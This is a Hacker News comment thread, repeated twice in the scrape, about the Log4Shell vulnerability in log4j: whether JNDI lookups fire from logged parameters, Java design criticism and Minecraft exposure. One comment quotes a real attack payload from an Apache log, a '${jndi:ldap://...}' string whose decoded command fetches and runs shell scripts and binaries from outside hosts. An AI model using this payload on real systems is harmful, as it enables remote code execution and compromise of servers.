4 ms·

But if you are not using any of the jni special Uris in strings, is there any real danger here?

detaro 5y ago
Are you ever logging strings that come from outside your software, be it things users type in, HTTP headers, ...? Then you don't control if you are "using any of the jni special Uris".
- notinty 5y ago
  This kind of (mis)feature should only be available in the format string, which shouldn't have untrusted user input.
  - detaro 5y ago
    It also "should" only be active if enabled, "should" only be available against explicitly declared target, ... but it isn't.
    - deleted 5y ago
      [deleted]
  - jefftk 5y ago
    This vulnerability is equivalent using printf(userData) when you should have done printf("%s", userData). From the perspective of the library developer, the feature is only available in the format string.
    - detaro 5y ago
      Are you sure? Several people here said yesterday that they confirmed it also works when supplied in a parameter. https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29507511 https://news.ycombinator.com/item?id=29507511
      - jefftk 5y ago
        Sorry, yes, it's a bug inside log4j, and it's handled even in a parameter. But the underlying bug is because log4j uses the equivalent of printf(userData).
        unscaled 5y ago
        The log4j maintainers seem to have realized that this (the "%m" in a PatternLayout doing lookups) is a bad idea around version 2.10 (released in 2017) or even version 2.7[2] (released in 2016). These versions both included changes that allowed you to disable this behavior. Unfortunately, the Java compatibility mindset meant that they didn't take the further logical step of making the behavior that disables lookups the default. I think this vulnerability should be used as a lesson against the vagaries of the classic Java API design issues that we're now finally starting to turn away from. Having an extensible formatting mechanism is not necessary a bad idea, but the problem with this and so many other "magic" features provided by Java libraries is that they are: * Opt out, instead of opt-in * Hard to discover - if you don't read the ENTIRE log4j documentation (which is pretty large!), it's hard know that this stuff is happening. * Too inclusive - adding JNDI was a bad idea, but even allowing things like environment variables or JMX Beans to be looked-up wholesale from a non-sanitized message is a bad idea. The problem is much deeper than log4j really. In hindsight, features like JNDI, RMI, and most of all Java Serialization should have never been part of Java in the first place. [1] LOG4J2-2109: https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109 [2] LOG4J2-905: https://issues.apache.org/jira/browse/LOG4J2-905 https://issues.apache.org/jira/browse/LOG4J2-905
notinty 5y ago
It's absurd but they are parsed from parameters as well. Both Minecraft servers and clients are vulnerable to chat messages with them.
- fortran77 5y ago
  It's time for Microsoft to get Minecraft off of Java!
jbourne 5y ago
Yes this is still possible if you log any user-modifiable value. One example would be logging out a user agent header - if an attacker spoofs this to include a JDNI URI then the vulnerability can be exploited. This is why this CVE is so scary - I would imagine the majority of applications using log4j will log out a user-supplied value at some point.
- bostik 5y ago
  How about feeding the magic string via Host header in your requests and then cutting off? You wouldn't even need to establish the full TLS handshake, SNI is sent in the clear, and you would get to hit every single load-balancer and middle box - and everything they send their logs to. Oh, and WAF rules won't protect you either: https://twitter.com/Rezn0k/status/1469523006015750146 https://twitter.com/Rezn0k/status/1469523006015750146
iso1631 5y ago
If you're logging requests you're in trouble. Here's one from my apache log file 45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}" If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh Which itself downloads wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86; wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64; However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped) Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.
- taeric 5y ago
  I think it depends how you log the request. If you did Logger.debug(request) Vulnerable If you did Logger.debug("{}", request) Safe? Reminds me of early days where sending printf directives to friends in chat applications could cause a crash. Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.
- altdataseller 5y ago
  And if you have a web crawler that just crawled this post and logs the contents using log4j, you are likely to be exploited too. facepalm
mumblemumble 5y ago
If you log any sort of input from outside, then attackers get to supply their own URLs. This will trigger even if you're doing it yourself because log4j also keeps recursively expanding macros in the log string until no more are found. So parameterizing your log statements isn't a defense against this the way parameterizing your SQL statements would be for SQL injection.
- IiydAbITMvJkqKf 5y ago
  >log4j also keeps recursively expanding macros in the log string until no more are found this is insane behaviour

Are you ever logging strings that come from outside your software, be it things users type in, HTTP headers, ...? Then you don't control if you are "using any of the jni special Uris".

notinty 5y ago
This kind of (mis)feature should only be available in the format string, which shouldn't have untrusted user input.
- detaro 5y ago
  It also "should" only be active if enabled, "should" only be available against explicitly declared target, ... but it isn't.
  - deleted 5y ago
    [deleted]
- jefftk 5y ago
  This vulnerability is equivalent using printf(userData) when you should have done printf("%s", userData). From the perspective of the library developer, the feature is only available in the format string.
  - detaro 5y ago
    Are you sure? Several people here said yesterday that they confirmed it also works when supplied in a parameter. https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29507511 https://news.ycombinator.com/item?id=29507511
    - jefftk 5y ago
      Sorry, yes, it's a bug inside log4j, and it's handled even in a parameter. But the underlying bug is because log4j uses the equivalent of printf(userData).
      - unscaled 5y ago
        The log4j maintainers seem to have realized that this (the "%m" in a PatternLayout doing lookups) is a bad idea around version 2.10 (released in 2017) or even version 2.7[2] (released in 2016). These versions both included changes that allowed you to disable this behavior. Unfortunately, the Java compatibility mindset meant that they didn't take the further logical step of making the behavior that disables lookups the default. I think this vulnerability should be used as a lesson against the vagaries of the classic Java API design issues that we're now finally starting to turn away from. Having an extensible formatting mechanism is not necessary a bad idea, but the problem with this and so many other "magic" features provided by Java libraries is that they are: * Opt out, instead of opt-in * Hard to discover - if you don't read the ENTIRE log4j documentation (which is pretty large!), it's hard know that this stuff is happening. * Too inclusive - adding JNDI was a bad idea, but even allowing things like environment variables or JMX Beans to be looked-up wholesale from a non-sanitized message is a bad idea. The problem is much deeper than log4j really. In hindsight, features like JNDI, RMI, and most of all Java Serialization should have never been part of Java in the first place. [1] LOG4J2-2109: https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109 [2] LOG4J2-905: https://issues.apache.org/jira/browse/LOG4J2-905 https://issues.apache.org/jira/browse/LOG4J2-905

notinty 5y ago

It's absurd but they are parsed from parameters as well. Both Minecraft servers and clients are vulnerable to chat messages with them.

fortran77 5y ago
It's time for Microsoft to get Minecraft off of Java!

jbourne 5y ago

Yes this is still possible if you log any user-modifiable value. One example would be logging out a user agent header - if an attacker spoofs this to include a JDNI URI then the vulnerability can be exploited. This is why this CVE is so scary - I would imagine the majority of applications using log4j will log out a user-supplied value at some point.

bostik 5y ago
How about feeding the magic string via Host header in your requests and then cutting off? You wouldn't even need to establish the full TLS handshake, SNI is sent in the clear, and you would get to hit every single load-balancer and middle box - and everything they send their logs to. Oh, and WAF rules won't protect you either: https://twitter.com/Rezn0k/status/1469523006015750146 https://twitter.com/Rezn0k/status/1469523006015750146

iso1631 5y ago

If you're logging requests you're in trouble. Here's one from my apache log file 45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}" If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh Which itself downloads wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86; wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64; However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped) Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.

taeric 5y ago
I think it depends how you log the request. If you did Logger.debug(request) Vulnerable If you did Logger.debug("{}", request) Safe? Reminds me of early days where sending printf directives to friends in chat applications could cause a crash. Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.
altdataseller 5y ago
And if you have a web crawler that just crawled this post and logs the contents using log4j, you are likely to be exploited too. facepalm

mumblemumble 5y ago

If you log any sort of input from outside, then attackers get to supply their own URLs. This will trigger even if you're doing it yourself because log4j also keeps recursively expanding macros in the log string until no more are found. So parameterizing your log statements isn't a defense against this the way parameterizing your SQL statements would be for SQL injection.

IiydAbITMvJkqKf 5y ago
>log4j also keeps recursively expanding macros in the log string until no more are found this is insane behaviour